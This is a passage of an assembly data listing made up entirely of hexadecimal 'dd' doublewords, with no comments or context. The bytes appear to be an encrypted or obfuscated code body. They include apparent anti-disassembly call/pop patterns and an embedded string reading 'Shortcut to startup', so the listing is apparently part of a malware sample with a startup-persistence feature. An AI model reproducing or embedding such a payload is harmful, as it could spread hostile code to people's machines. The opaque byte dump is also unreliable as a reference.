		dd 0BF58317Dh, 95FF96F0h, 603171Dh, 6AADB4h, 23A595FFh
		dd 0C08B0603h, 31B42EEBh, 0D42C71h, 0A527F096h,	595AF29Fh
		dd 59783F6Eh, 3B37CCFCh, 818D6BFAh, 7C516DCFh, 83CCC8D5h
		dd 0DB524884h, 6A8ABB0h, 0C17082C0h, 64BB3920h,	67083138h
		dd 0C28EEA9Ch, 0E0A9A07h, 10C2B80h, 540E5802h, 10E31E9h
		dd 0C2531280h, 2562BB1Dh, 254AB324h, 10E2714h, 0C25B7708h
		dd 8C87E960h, 70D243Bh,	5438F82h, 0E0E3483h, 10E61C4h
		dd 540E5820h, 10E31F8h,	0C2531208h, 2562BB59h, 254AB306h
		dd 10E2505h, 0C25B7780h, 0AF9E4F9Eh, 5F3AFABh, 0BEE73413h
		dd 6B0E3209h, 2E66504h,	210E3202h, 8851F15Eh, 800A16FCh
		dd 140A1604h, 460E3220h, 936F147h, 108B407h, 8C273204h
		dd 70D186Bh, 0AF0A8891h, 915E1F6Dh, 108B04Fh, 0BC873220h
		dd 70D1D85h, 25423307h,	520E58FAh, 10E31EAh, 0C2551201h
		dd 2552BBDBh, 254AB344h, 10E2624h, 0C25D7110h, 0C9B1BF0h
		dd 59083117h, 0C18DCC88h, 149BB92Dh, 8A0831A3h,	570E5848h
		dd 10E31C8h, 0C2501210h, 257ABB56h, 254AB300h, 10E2406h
		dd 0C2587401h, 30E13EF7h, 206EBF5h, 0D4BB3926h,	67083104h
		dd 6BF27A83h, 2E66104h,	210E3202h, 8855F15Ah, 800A16DCh
		dd 1D0A1604h, 420E3220h, 7770F143h, 30262C13h, 8AA97799h
		dd 388F54F2h, 8501CD37h, 10E32FFh, 8206E1C0h, 80683BE1h
		dd 0E65FDCEh, 10E3284h,	0E837B204h, 1DAB70Dh, 0B4873201h
		dd 70D3BD5h, 108B64Fh, 0C68F3220h, 22C95CB9h, 0B70F7383h
		dd 0E8C631F0h, 10E3210h, 1E2366B8h, 0AB66B23Dh,	979D3759h
		dd 56495C31h, 0D1B0DFD0h, 8253D739h, 16437C5h, 10DDA52h
		dd 592E3201h, 45876A43h, 458F3664h, 1163604h, 514E3210h
		dd 7E8CDCBh, 80F6DDE2h,	4245A23Bh, 6E8B3D8Ah, 8C0E3280h
		dd 2435BCDh, 530E5826h,	10E31F8h, 0C2541208h, 255ABB5Eh
		dd 254AB306h, 10E2B05h,	0C25C7080h, 9750FA77h, 0EF8FE916h
		dd 4B4E3AB1h, 10E31B0h,	808B1B04h, 0FE08311Fh, 560E58E0h
		dd 10E3168h, 0C2511240h, 2572BB7Fh, 254AB314h, 10E2F0Ch
		dd 0C2597504h, 0C8C790ADh, 561FE3A7h, 6E6879Ah,	0F90E3240h
		dd 2DC78C4h, 67502EADh,	6B6FED83h, 2E66404h, 210E3202h
		dd 8850F15Fh, 800A16F4h, 180A1604h, 470E3220h, 9EF4F146h
		dd 6A102EF9h, 108BC0Bh,	9C853202h, 70D35F4h, 34E98F0Dh
		dd 8C833448h, 7060A7Fh,	938D46A8h, 9C8B0109h, 2A083119h
		dd 3E7F3CDh, 64BB3920h,	67083138h, 0C28EEA9Ch, 0E0A9A07h
		dd 10C2B80h, 540E5802h,	0F305E983h, 89C08BA4h, 32D3195h
		dd 13E806h, 27DC0000h, 0F6247651h, 0A8F66F47h, 302F40ABh
		dd 0F7AB4DEDh, 5ADD8A06h, 11E8C38Bh, 1D000000h,	18297ED1h
		dd 2FD1FCACh, 7CA7DA7Bh, 6EAAD7D3h, 26D98166h, 8E85BCCh
		dd 0D000000h, 25773778h, 0BE3DA57Dh, 3C6C3926h,	68C38158h
		dd 8900006Eh, 3008995h,	1B6D6806h, 84B00000h, 8BC18B5Ah
		dd 8117B43Bh, 53DD9F7h,	0F3BF0F0Bh, 391DEF81h, 0F604AB5h
		dd 0F85h, 9E800h, 1B4B0000h, 9EEB779Dh,	5B6119CEh, 15A59509h
		dd 81610603h, 0EA1C6CC7h, 29B58B24h, 8906031Eh,	80B8663Bh
		dd 76EB810Bh, 0E9752E48h, 0Ch, 8F561EE1h, 0EF0D78D3h, 0DC014AADh
		dd 4872C381h, 8E9752Eh,	81000000h, 0B0F705C5h, 8359BF37h
		dd 850F01EAh, 0FFFFFF8Bh, 0E8C18B66h, 6, 9C3287D4h, 8589B8C0h
		dd 60326E9h, 81FA8B59h,	5B65C1h, 45858B00h, 33060303h
		dd 0C5BD8BF6h, 8B060314h, 81F8311Ch, 0F0A77AC3h, 35BD2964h
		dd 8106031Bh, 742047C3h, 0C1958B5Eh, 81060326h,	0A84DE3C3h
		dd 6850F66h, 1000000h, 3083DBDh, 311C8906h, 1375852Bh
		dd 95890603h, 6030CD1h,	0E801EE83h, 13h, 1F250990h, 0AFB65525h
		dd 38BEB907h, 0E73AEDF7h, 81662D25h, 6E7962EAh,	4E4E5F4Fh
		dd 81D68B4Eh, 0FFA560FEh, 10850FFFh, 0B2000000h, 2FE974h
		dd 13DD0000h, 53E79898h, 60DA6543h, 5E9h, 5F031400h, 0DE810B2Bh
		dd 10A0F6A5h, 0FF69E961h, 23D2FFFFh, 236B1089h,	643C63B0h
		dd 57F1A8ACh, 845B667Ah, 8432EB8Fh, 0DB1181D8h,	0F8B89F1Bh
		dd 0C0B064FCh, 842434FCh, 0D37618D8h, 8D8C391Bh, 871D2B5Dh
		dd 0DAC88DEh, 0F3782DBh, 54BAA618h, 9FBCFDF3h, 39B236DBh
		dd 82321C3Dh, 73879D8h,	87123F65h, 9D4503DEh, 44BAD288h
		dd 8435C360h, 19B4E9D8h, 93733C2h, 8184A745h, 0DFE2F3DEh
		dd 0BD8C8580h, 843700FBh, 0D76196ACh, 8435C360h, 19B4E9D8h
		dd 93733C2h, 8183B645h,	0DFE2F3DEh, 99BC2580h, 0E23700CEh
		dd 10A54659h, 845B0053h, 8432888Ah, 0DE1130D8h,	0D0B8421Bh
		dd 0C0B008FCh, 842C02FCh, 0D67303D8h, 1D8FA91Bh, 0FF475EFBh
		dd 6DF423ABh, 843130D2h, 0AFD7E284h, 71419A58h,	857F708h
		dd 8436EA00h, 0A6CE81D8h, 9149CB72h, 8B35C8BAh,	84328E5Ch
		dd 0E9A493D8h, 7370FD1h, 87354B65h, 3E03DEh, 843181F1h
		dd 6C67C0B2h, 843160DBh, 0DAF26EF8h, 80156C51h,	80154859h
		dd 843106CEh, 9BF2559Eh, 0CD80FB8h, 0AD31C0DBh,	87289D4Dh
		dd 0A3318EDEh, 9BA1AD8h, 82322DF5h, 0F54D8355h,	845B05DEh
		dd 8432698Ah, 0DE11C0D8h, 0D0B83A1Bh, 0C0B034FCh, 84241CFCh
		dd 0D6730CD8h, 0B506BC1Bh, 8728BA4Dh, 0EEE17EDEh, 87D996D8h
		dd 0A43160D8h, 0D6FF386h, 5353CACh, 9135289Ch, 0C23106D8h
		dd 8F9DC08Eh, 1CF0ABEh,	54B5CF18h, 0EE3160D8h, 87D962D8h
		dd 0A43118D8h, 0D6BCF82h, 535228Ch, 9F35279Ch, 0C63181D8h
		dd 8E5B038Ah, 3BF20618h, 1900352Dh, 82320155h, 0E2663459h
		dd 13EFD59h, 843103E0h,	15DFF62h, 0FCB0A6AEh, 8B3362DCh
		dd 8432255Ch, 0D73172D8h, 84310F30h, 476A26D8h,	0A06D8A83h
		dd 0A07500DCh, 8431DADCh, 476223D8h, 0E6109CD3h, 3F98B48Bh
		dd 0E1E56321h, 180987BEh, 0DCB40CB8h, 6D3181D8h, 8431C0DEh
		dd 0DDBDF70Ch, 0FCB1E780h, 13EF0DAh, 84310C9Bh,	0E262F558h
		dd 84377B59h, 0B0B48E73h, 0EE31C0D8h, 87D930D8h, 0A43130D8h
		dd 0D69DB80h, 535289Ch,	9F35229Ch, 0C43103D8h, 9FCF4288h
		dd 0A171C1DEh, 13D8D7C8h, 0F3130DAh, 872A354Dh,	0D98C0FDEh
		dd 3A3705F4h, 0C23002D8h, 6C6681B2h, 8431C0DBh,	0DBF23FF8h
		dd 80154C51h, 80155C59h, 84310CCDh, 27F2519Fh, 0F8B48E4Ch
		dd 0EE3787A9h, 87D997D8h, 0A43160D8h, 0D6EF387h, 5353CA4h
		dd 9135289Ch, 0C33106D8h, 0A8DDC08Fh, 0BDA40A8Fh, 0DB37C3CEh
		dd 7BCBD7D7h, 0D1315A08h, 84311B30h, 476C2CD8h,	0A05D8F85h
		dd 0A07582DCh, 84319CDCh, 476485D8h, 9D5675AFh,	1381A780h
		dd 44B4BC00h, 85E488D7h, 97D806D8h, 0E13103D8h,	2138912Fh
		dd 0E2BDCE99h, 0C0E5E4Fh, 0ED761067h, 3D574E47h, 0BCB01BF0h
		dd 86333BBEh, 842586D7h, 5C481D8h, 0B957C6A0h, 3E1A87h
		dd 8431310Eh, 972495F1h, 5570ADBh, 8B519AE0h, 8431575Dh
		dd 0D431EBD8h, 8431C330h, 476940D8h, 0A075B980h, 0A07599DCh
		dd 84311ADCh, 476146D8h, 4C180C0h, 8BD983A0h, 8431EC5Dh
		dd 95BCEBD8h, 0E23733CEh, 84376059h, 9EB40318h,	0D43106D8h
		dd 55E0B8BEh, 85B16881h, 82D9C0D8h, 253160D8h, 6CB4C5E7h
		dd 5DBA7ED0h, 8531B281h, 845B78D9h, 8432EB8Fh, 0DB1181D8h
		dd 0F8B89F1Bh, 0C0B064FCh, 842434FCh, 0D37618D8h, 950511Bh
		dd 82407A5Dh, 0D43169DEh, 84318230h, 4769E0D8h,	0A075E980h
		dd 0A075B1DCh, 843103DCh, 47614CD8h, 46424A1Ah,	0C2AB6A00h
		dd 0A84B3AB8h, 76B0C674h, 0AEAC0A37h, 35E1CFB9h, 8BF19DA5h
		dd 8431DA5Ch, 0D1316CD8h, 84310030h, 476CA1D8h,	0A05D4985h
		dd 0A075E1DCh, 84312DDCh, 47645DD8h, 88EAC228h,	47B03FCBh
		dd 0BCB13D58h, 0F1B48E30h, 0E231C0D8h, 0E493B759h, 0F7344858h
		dd 84579DD7h, 845B0CD8h, 8432EE8Eh, 0DA1103D8h,	0F0B8DF1Bh
		dd 0C0B0C4FCh, 842564FCh, 0D27730D8h, 8A88931Bh, 3B1ACA1Dh
		dd 0C21A719Dh, 0FCB1C953h, 3ED2DFh, 8431C046h, 6C6460B2h
		dd 843130DBh, 0D9F245F8h, 80156051h, 80154259h,	843103CDh
		dd 0FEF2D49Dh, 59A4E3FEh, 6D3763FCh, 843130D4h,	4495BF4Ah
		dd 0F95273A8h, 0CC23415Bh, 0B0982BEh, 0ACB48EDDh, 0E231C0D8h
		dd 0FCB1AE53h, 13E58DEh, 843118C3h, 0D8FE8DBEh,	0FCB0606Fh
		dd 8B14FCD3h, 84318B5Dh, 66B0A6D8h, 0B3D839BDh,	0AF3130D8h
		dd 333E7818h, 7DB48523h, 0E53705E8h, 6DF9B4D7h,	843181F2h
		dd 6C67C0B2h, 843160DBh, 0DAF26EF8h, 80156C51h,	80154859h
		dd 843106C2h, 0EBF2559Eh, 59872263h, 8589A185h,	8B3160D8h
		dd 6D61CE67h, 843118CCh, 0FB1D0E6Ah, 0DB59FD17h, 7CFEE53Eh
		dd 0FFD70B63h, 0BEEB74DBh, 0EE156451h, 87D961D8h, 0A43118D8h
		dd 0D68CF81h, 5352294h,	9335279Ch, 0C53181D8h, 3FC50389h
		dd 39BCE56Eh, 82390AF4h, 0BB689555h, 0A7890AD0h, 8746608Dh
		dd 872F3E5Dh, 45FEAADEh, 8531B231h, 845B78D9h, 8432EB8Fh
		dd 0DB1181D8h, 0F8B89F1Bh, 0C0B064FCh, 0E98334FCh, 58A4F305h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C0C35141h
		dd 8D09522Ah, 603192Dh,	840FC00Bh, 5Ah,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0BEC35747h, 86B0C0E4h
		dd 0D7B2A24Eh, 0D5958BD3h, 8D06032Ch, 34D69B5h,	0BE806h
		dd 58160000h, 0AC76E9AAh, 71E17062h, 0C88B667Ch, 3B859h
		dd 85310000h, 6032A09h,	8B66E6FFh, 5CEABFF9h, 8A4051FCh
		dd 0C58D29CCh, 8B060318h, 83E3B6C0h, 304E5BDh, 9750006h
		dd 2339BD83h, 74000603h, 8B535019h, 403B8C0h, 85890000h
		dd 6030739h, 0B6269D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h
		dd 50177400h, 403B853h,	85890000h, 6030739h, 0B2C79D8Dh
		dd 0D3FF0605h, 8960585Bh, 32F45B5h, 0F9BF0F06h,	2DB50161h
		dd 8B060330h, 558D8BC0h, 61060329h, 41258D8Dh, 8E0F0608h
		dd 0
		dd 20A58D89h, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0E1931EC3h, 692D6632h, 1A6585C7h
		dd 6D680603h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66B2C8C3h, 75D1DB81h, 1AF72BBBh
		dd 7185C701h, 60300h, 66000000h, 0FFF1B1BAh, 32021B5h
		dd 0C6B86606h, 25CF8179h, 0FF2C28F8h, 3171D95h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 67D93380h, 0AD9D89ADh, 6A06030Ch, 0A595FF00h, 8B060323h
		dd 3509EBC0h, 499BB94Ah, 30ED25A7h, 0CE8h, 68E2F700h, 9F644DFCh
		dd 0CA51F3BBh, 8870F4Bh, 0F000000h, 28Eh, 58FA8A00h, 758D89h
		dd 0C0810603h, 69C6h, 68F18Bh, 23000000h, 304EDB5h, 148B5906h
		dd 7E908h, 0C79E0000h, 320C4C75h, 3EA8163h, 0F8616A66h
		dd 8DEFC281h, 9D31408Ch, 603312Dh, 0E543C281h, 0B5893F73h
		dd 6030E41h, 28E0F52h, 52000000h, 8048F5Eh, 0EB99D8Bh
		dd 0FE90603h, 0FF000000h, 63A4687Ah, 4B84D490h,	9797C5ABh
		dd 0E9839679h, 0BCEBBE04h, 0F9811013h, 0FFFF96D8h, 0FF98850Fh
		dd 8166FFFFh, 0DEA778EEh, 0D4D4712Ah, 1DC4B46h,	0D4C8557Fh
		dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 339B3D92h
		dd 0FFB44E60h, 0F867A5E4h, 0A09B0242h, 2FC0A3BEh, 79672035h
		dd 0DB85A3BAh, 0D71B2030h, 339B088Eh, 831D2933h, 0C0982633h
		dd 0AED9CCB6h, 0D6157635h, 0AF9067EFh, 0C90DD963h, 839E253Ch
		dd 35982664h, 1F152359h, 4B9067DFh, 7A1DAB63h, 39E2E72h
		dd 8A1DB3CCh, 14932030h, 6AA1A23Ch, 0B0152633h,	9C9067DFh
		dd 4DAACE63h, 0F6D82633h, 126AA3BEh, 24C8203Bh,	0DCD9CAB6h
		dd 0FF677635h, 339B03D2h, 1794E2B0h, 45D9CAB6h,	23157635h
		dd 559067EFh, 0B40DD963h, 3D9E253Ch, 6A982651h,	6474AD66h
		dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9C9067E9h
		dd 0E97ABBEh, 9320203Bh, 78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 608430Fh,	432E8D8Dh
		dd 0CF2B0608h, 8B05E983h, 0EF8D8DC8h, 51060843h, 24C58BBBh
		dd 8D895A7Ch, 60320A5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 80C35646h, 22DD8D89h,	85C70603h, 6031A65h
		dd 63DCh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	5C35646h, 0F88B66EFh, 0C7C18B66h, 3007185h, 6
		dd 0B5895200h, 6032129h, 45B5FF5Eh, 8B06031Bh, 31AF5B5h
		dd 6890F06h, 33000000h,	32A49BDh, 1D95FF06h, 6A060317h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0F075C350h, 223D858Bh, 8B660603h,	0FF006AD0h
		dd 323A595h, 0EBC08B06h, 0FF3D966Ah, 0DFDCBA7h,	0B5802022h
		dd 0B0140F78h, 86124D8Ah, 0DED39598h, 726135DDh, 1B6FA28Dh
		dd 0EB83C1A1h, 77B123BAh, 0CCEFA66Fh, 3C3737B8h, 935CAC78h
		dd 8BFBD09Fh, 0CA68A098h, 44ED00Ch, 84894FFBh, 0C64472EEh
		dd 0EE01EC72h, 91FD8765h, 8F1B8D35h, 6EB0F8CEh,	0E94B1230h
		dd 55CBE75h, 2BD86438h,	8C52AB02h, 0E917F20Ah, 0B0h, 0DA8C6660h
		dd 0F04C2F6h, 0C85h, 0E1853B00h, 0F060302h, 3684h, 21853B00h
		dd 0F060331h, 2A84h, 9D853B00h,	0F06031Fh, 1E84h, 0AD853B00h
		dd 0F06031Fh, 1284h, 2DBD8300h,	1060325h, 5840Fh, 5FE90000h
		dd 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h
		dd 4984h, 0F8C28100h, 8B000000h, 0C8030C72h, 8B1C598Bh
		dd 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h,	17820Fh
		dd 0CF3B0000h, 0F830Fh,	0C3830000h, 850F4A04h, 0FFFFFFDCh
		dd 0DE9h, 699D8D00h, 0B806034Dh, 5, 0C361E3FFh,	6E8D00Bh
		dd 94000000h, 1EBEA73Ch, 14E995h, 8E5B0000h, 0FA819EF4h
		dd 0F933A049h, 3520DD2Bh, 0D6A6F456h, 66581B36h, 1C78CE81h
		dd 5C45C081h, 0FE80000h, 5B000000h, 0A7B1F39Bh,	6FDAB35Dh
		dd 1869D6C3h, 14E9E7ECh, 0DB000000h, 9D8D4F3Fh,	779E32C9h
		dd 6BC8DAB2h, 33948E3Bh, 5EE8942Dh, 16D368h, 2D8D3100h
		dd 5A06032Ch, 30FFAEB7h, 81665FFCh, 81799EF1h, 5FC092EFh
		dd 58A0F03h, 66000000h,	31E5DE81h, 248BC781h, 13E97DA0h
		dd 93000000h, 0A73C94D1h, 39951EBEh, 862D45E3h,	0A978AFE1h
		dd 0C781FA93h, 6E92AB51h, 57D88B66h, 0C99D8B53h, 5E06030Ch
		dd 880F008Fh, 2, 0E8836AB5h, 4861B502h,	0D1B58B48h, 8306030Fh
		dd 850F01EAh, 10h, 0C1EB8166h, 22E9E9h,	52140000h, 72D56E0Fh
		dd 6810Fh, 0B58B0000h, 6031B11h, 0FFFF75E9h, 0EDD001FFh
		dd 9D7628EDh, 0DD2346A4h, 47188D8Dh, 6A0608h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0ADC4B5C3h
		dd 2F4EDD01h, 5E572A9Eh, 89F1B70Fh, 320A58Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0BD9CA592h, 7B749CFh, 1A6585C7h, 68E80603h, 8B0F0000h
		dd 6, 2541BD01h, 85C70603h, 6030071h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 91C35646h
		dd 0D9700A7Ah, 0E0972EB8h, 91B5FF31h, 6A060323h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 358CC355h, 0DD598B1Ah, 0BF0FA516h, 0F68166F2h, 95FF3BA4h
		dd 603171Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	3C35242h, 39A1A39Ch, 80834A17h,	6A57ECh, 23A595FFh
		dd 0C08B0603h, 0B42B2AEBh, 4A0F0E02h, 0A3D43EBh, 50FB9799h
		dd 8569ED94h, 1580C094h, 37D2D67Ah, 0EAEA7A71h,	0BBEAB57Ah
		dd 5CE7FB9Ch, 22E1A35Ch, 0AC19D8Dh, 39B80603h, 89000000h
		dd 30E9985h, 0E806h, 5580000h, 0Dh, 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 48778D8Dh, 6A0608h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F07563C3h, 0DE81664Ch, 8D89ACD1h, 60320A5h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 94C35747h, 283793h
		dd 7FA7C681h, 85C7096Dh, 6031A65h, 7088h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 5EC35545h, 9566EA4Eh
		dd 9D09D311h, 6030E49h,	7185C7F5h, 60300h, 0F000000h, 382h
		dd 0FAB70F00h, 0DC1B5FFh, 0B5890603h, 6032AB9h,	171D95FFh
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0B2D1A6C3h, 0FF006AE2h, 323A595h,	0EBC08B06h
		dd 7F7D671Eh, 2657CDD6h, 18956751h, 0A309E648h,	52F717BCh
		dd 3C52BB60h, 0F1CD2045h, 0EB3EDEC2h, 6F68536Ch, 75637472h
		dd 6F742074h, 61747320h, 70757472h, 14h	dup(0)
		dd 7CB0800h, 105h, 0F42E900h, 0D3680000h, 0E906084Ah, 0FFFBFE2Bh
		dd 84BAF68h, 0FE21E906h, 7E68FFFBh, 0E906084Dh,	0FFFBFE17h
		dd 84DBD68h, 0FE0DE906h, 6B68FFFBh, 0E906084Eh,	0FFFBFE03h
		dd 84F2768h, 0FDF9E906h, 0DA68FFFBh, 0E9060852h, 0FFFBFDEFh
		dd 855F468h, 0FDE5E906h, 0E168FFFBh, 0E9060856h, 0FFFBFDDBh
		dd 47316BBEh, 8D773D0Ah, 0D7C1DF50h, 1802929Ah,	5D474FDBh
		dd 0A979A376h, 70BEFBE5h, 2B05422Ch, 0E944816Bh, 5544C5AFh
		dd 8C9DB614h, 0DA0D24A1h, 7A3175C3h, 0C4D65729h, 0DABC7106h
		dd 124500DDh, 4DF952B7h, 1DDBBD70h, 65E4944Bh, 1D54511Fh
		dd 0B6743806h, 4B602DE4h, 51AD97DEh, 152CE19Fh,	0EFC17F07h
		dd 0D55B6B38h, 478A191h, 251DEF18h, 42520A14h, 9F000000h
		dd 401CF15h, 980A3CC3h,	68C2D9ADh, 2FE1752Ch, 4485BC71h
		dd 0A191C386h, 1EEBA254h, 0A191C3A8h, 0C482101Bh, 0DC9AE02Fh
		dd 3FF4E05Ah, 76C4DB72h, 0E79E702Eh, 60325B47h,	950A143Ah
		dd 0F6h, 0C4D657E2h, 2D745106h,	2BF9F9Ah, 0D06003BAh, 0B4790ECCh
		dd 42CEE5E2h, 0A6DA973Ah, 0DDF8E24Ch, 200DA226h, 70258C76h
		dd 0F1A794DEh, 33705A3Ch, 0BE2A0FAh, 0BAFB34C5h, 94D55179h
		dd 0BDD789A7h, 16132DFFh, 0E10C02DFh, 1C56217Eh, 7BECDE1Fh
		dd 3CEEA794h, 96ABB885h, 0EC61AD97h, 9832735Eh,	42A19161h
		dd 0E6B87690h, 6AB8CFCCh, 0FCDD15Fh, 0BC6C233Dh, 2C29373Dh
		dd 4C50DEF5h, 3805BC8Eh, 0A797174Dh, 1D545103h,	0B8762606h
		dd 0BC8C2FE6h, 49E4FBF8h, 0E1BB724Fh, 0ED3D7A2Ah, 595646E6h
		dd 8BABB218h, 5C76289Bh, 2BBAD3D7h, 0D26DE1E5h,	0CC7h
		dd 0AB95072Ah, 0F1DBA16Eh, 331D7BB4h, 7C6636F6h, 0C1ABF33Fh
		dd 4DDD3FDAh, 14225F49h, 0C769A690h, 7DB0EDD7h,	0C1B0311Bh
		dd 8C9D4A80h, 0B87990A1h, 0D9C3CB57h, 8CD39F7Ch, 0FEFD0345h
		dd 0F89A447h, 0CF153A25h, 0B6CD0401h, 9F6C2369h, 0AD980A60h
		dd 1E3532E4h, 0FDCF8D0Fh, 0C40BBF00h, 1DCFA191h, 0A323E266h
		dd 30A191C3h, 0D5A7D0BCh, 0A0A1439h, 0BFh, 0C4D65757h
		dd 0DDA17106h, 0EC35601Fh, 0F50CA794h, 5A85F27h, 47846E28h
		dd 0A0B7B4E6h, 0B5E14B8Eh, 4D0B25F7h, 8B40C47Bh, 5EEEECAEh
		dd 0F03E4B06h, 0F6DB92ACh, 0A4E5E2E8h, 0AD97A2BFh, 32B19B4Dh
		dd 0E0211E2Ch, 0A7972094h, 0D4EBE89Ah, 0F9564044h, 0BB4981C2h
		dd 0DF919B8Bh, 0F1B58528h, 2BAD9A6Ch, 5DF86CE5h, 0BEBh
		dd 8F792306h, 0D5BFC552h, 1F099798h, 604A4AE2h,	0A58F1723h
		dd 71C1DBBEh, 3806432Dh, 0E34D8A74h, 0A18CC9B3h, 9D8C0DF7h
		dd 8C9C6E5Ch, 94556CA1h, 2C00CB57h, 0E67E4C8Dh,	0AA5CA794h
		dd 7F77D290h, 0CA41F134h, 1E08223Ch, 4D4A4CE1h,	0C8A5F736h
		dd 0A4763478h, 57523DEDh, 7106C4D6h, 71F0DABCh,	21909A63h
		dd 94E6EAE0h, 243EF0A7h, 7D7A9466h, 0B26B6946h,	488410DDh
		dd 26F8B6E6h, 0FCCE0F0Ch, 0DEA7944Eh, 0DBA8752Ch, 71AD977Dh
		dd 844201BFh, 4FA1911Fh, 0F4C6EFDBh, 290A14DDh,	13h, 0F203776h
		dd 0AA87EE91h, 39DB3EF9h, 88FD982h, 37E00000h, 0D3910F20h
		dd 1F654A01h, 78135451h, 0E4AD9809h, 4EDF7432h,	825624Ch
		dd 3E1BD08Eh, 2263D44Bh, 0A190FDA8h, 0EFDD8032h, 6633EA3Ah
		dd 8D5BB8Ah, 36F4A28Dh,	2D0A8CA1h, 20D9971Fh, 0AF732814h
		dd 6EA53D29h, 4D749D2Dh, 0D48B3D3Ah, 0B09AFC31h, 0E3E0BA73h
		dd 755F6BACh, 407B3A4Dh, 23C76F55h, 4D041E0Eh, 31FD14C9h
		dd 1ED5A765h, 4DC37651h, 0AEC5623Ah, 8D5F1D7Fh,	0D24A36D6h
		dd 1A57415Bh, 16CB8913h, 5D25EB39h, 0D15A2122h,	25F2A9C3h
		dd 3A4DB09Eh, 0AA220EDCh, 51C1983h, 6B66D29h, 743264C9h
		dd 7AC6579Dh, 0E41B1832h, 0B15E6CADh, 0CA7C3A4Dh, 0DED94613h
		dd 0F9AB4050h, 6623EC0Fh, 1E555218h, 8224A6E7h,	87A7344Ah
		dd 0B9875917h, 93ADEB44h, 9D580FDCh, 0ABC3A4Dh,	46DFDAFFh
		dd 0CDAA0C58h, 7643AAD1h, 1C60AE9Ch, 0BB728C5Eh, 0C5C288D6h
		dd 3960FF84h, 0DD9B4D56h, 0F5F2F806h, 39886AB4h, 69661850h
		dd 0D7C1DB52h, 8409939Ah, 8A4AD6A0h, 1C6B067Ah,	0D500000Ah
		dd 13503A5Ch, 57947E04h, 9FDCC6D4h, 0E8250F8Fh,	836A5458h
		dd 0F2BA8696h, 397DCB08h, 7C18124Fh, 0BED85592h, 236453D4h
		dd 0A18C99A7h, 575B1C33h, 713FC4D6h, 2BE92281h,	9DD1CB7h
		dd 1D140000h, 0C754917Bh, 919AD7C1h, 50DC1903h,	0D1D5A44h
		dd 0E1B89F89h, 3D276FBBh, 806A3200h, 0C3ADE943h, 0BF5A786h
		dd 705A9B8Ah, 6AA18C9Ah, 0D6579253h, 0A17106C4h, 3FD0F3DDh
		dd 0BFC7556Ch, 4CDD2308h, 64F9B7E1h, 9CB6D0D4h,	0F031689Fh
		dd 0A794E6DAh, 0F8A28B00h, 974E683Ah, 98029DCAh, 0BAC577ADh
		dd 4F24F695h, 78CF1563h, 62670EEh, 0B62AF396h, 0F70E0B25h
		dd 89418229h, 51DFD41Bh, 0BCE859Fh, 2571BDD4h, 46E2A16Eh
		dd 0B86AE5D7h, 0FDD23FAh, 6D4DD112h, 8335DFD7h,	0DCBE6F86h
		dd 1E78B5F2h, 0E8F34999h, 6C077B3Ah, 92Fh, 432D6FC2h, 89733906h
		dd 0CBB5E34Ch, 14FE9E8Eh, 59434BD7h, 0A575A772h, 6CBAF7E1h
		dd 2F013E28h, 0E548856Fh, 5948C9B3h, 8C98B218h,	501128A1h
		dd 8C102037h, 0A245FCCEh, 0BEDE4E8Bh, 1A31E6A4h, 6C5E9F12h
		dd 6EA794E7h, 48EBA2BCh, 65CCB6E6h, 0A794E7C5h,	2737C9A6h
		dd 0F45BF9A9h, 440A583Dh, 0BF5C0647h, 687FAD9Ch, 2CFBD8C4h
		dd 1FD6A866h, 0A5DCD98Bh, 8C2E6664h, 0D1D565A1h, 0D79A5103h
		dd 7421C3A0h, 0BC934A93h, 21B93847h, 4B021C6Dh,	291385A8h
		dd 995741ECh, 428E07E4h, 906565A6h, 0C375A18Ch,	0C957CE20h
		dd 0DBA36F12h, 0F6A6881Dh, 2AED6F71h, 3AD549EFh, 873h
		dd 7F1AB7Eh, 4D377DCAh,	97811F10h, 0D8C2D25Ah, 1D078F9Bh
		dd 0E9396336h, 0B07EBBA5h, 6BC502ECh, 2904412Bh, 1504856Fh
		dd 8C97F6D4h, 0CCDE4A1h, 6C4D657h, 1C51BC71h, 7ED08E0Ch
		dd 71F3B1CBh, 3C730BF7h, 9453CFFBh, 0A2590BA7h,	48892EFFh
		dd 0A7945382h, 0A28CA658h, 11A9E2B4h, 0BA89A004h, 0FCDB36F4h
